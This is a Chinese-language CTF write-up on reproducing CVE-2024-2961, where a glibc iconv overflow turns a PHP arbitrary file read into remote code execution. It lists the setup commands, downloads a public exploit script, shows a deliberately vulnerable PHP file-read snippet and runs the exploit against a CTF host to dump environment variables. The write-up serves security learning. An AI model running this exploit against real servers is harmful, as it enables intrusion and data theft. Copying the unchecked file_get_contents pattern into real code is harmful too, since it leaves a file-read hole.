CVE-2024-2961(文件读取 RCE 问题)

学习目标

  1. 基本了解 CVE-2024-2961 的原理
  2. 在 Ubuntu 环境下使用 pip 安装依赖库,并运行 python 脚本,理解 weget 命令
  3. 运用 CVE-2024-2961 自动化脚本进行实操

漏洞描述

这个漏洞能把一个看似人畜无害的任意文件读取,直接升级为远程代码执行(RCE)

基本原理就是 iconv 在转换 ISO-2022-CN-EXT 时出现越界写入,iconvphp://filter/ 使用过滤器时会使用的函数.

具体的原理更偏向于 pwn 的知识,这里我们不深究

初始环境的安装

原本以为只是一个小小的 CVE 复现,结果却用了我大半天的时间。

我们得先安装这两个 python 依赖库

1
2
pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip

完了之后把这个脚本给下载下来就能运行了

1
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

但问题出在哪呢?

pwntools 这个库,它在安装时报有前置库

装前置库的时候,它又报有前置的前置库

这些都还是小问题,但有的库涉及到 c 语言编译,这又要在具有 c 编译的 python 环境下安装

这里又下了个 minggw64 启动虚拟环境运行 pip,把全部的东西下载好了,又告诉我 windows 系统下这个脚本存在路径不兼容问题

最后只有选择在 linux 环境下运行,我电脑里的 CentOS 也是运行不了的,最后装了个 Ubuntu,网络又经过了

一系列配置,最后才在 Ubuntu 的环境下顺利运行

复现过程

复现条件

靶机要求

  1. 系统底层:使用存在漏洞的 glibc 版本 (≤2.39) 且 ISO-2022-CN-EXT 字符集未被禁用 。
  2. PHP 应用:存在任意文件读取漏洞,且 php://filterzlib 可用,通过复杂的过滤器链触发漏洞并劫持内存。

环境配置

这里就不需要多说了,在 Ubuntu 上运行这三条命令,脚本就装好且能正常运行了

1
2
3
pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py

漏洞利用

就比如这样一道题吧,我们正常读文件,有的文件是权限不够的,读文件根本拿不到 flag

1
2
3
4
5
6
7
<?php   
if(isset($_POST['file'])){
$data = file_get_contents($_POST['file']);
echo "File contents: $data";}
highlight_file(__FILE__);
error_reporting(0);
?>

但如果提升为 RCE,就有更多的机会

装了这个脚本后我们直接输入这么一个命令,其中黄底是我给这个脚本起的名字,复制时需要修改

1
python3 CVE-2024-2961.py http://node1.anna.nssctf.cn:22883 "env>2.txt"

这个 RCE 是没有回显的,所以我们才要像这样写入文件

提示利用成功就说明执行成功了,我们访问/2.txt 看看

flag 就出来了

本次 CVE 复现结束 🎆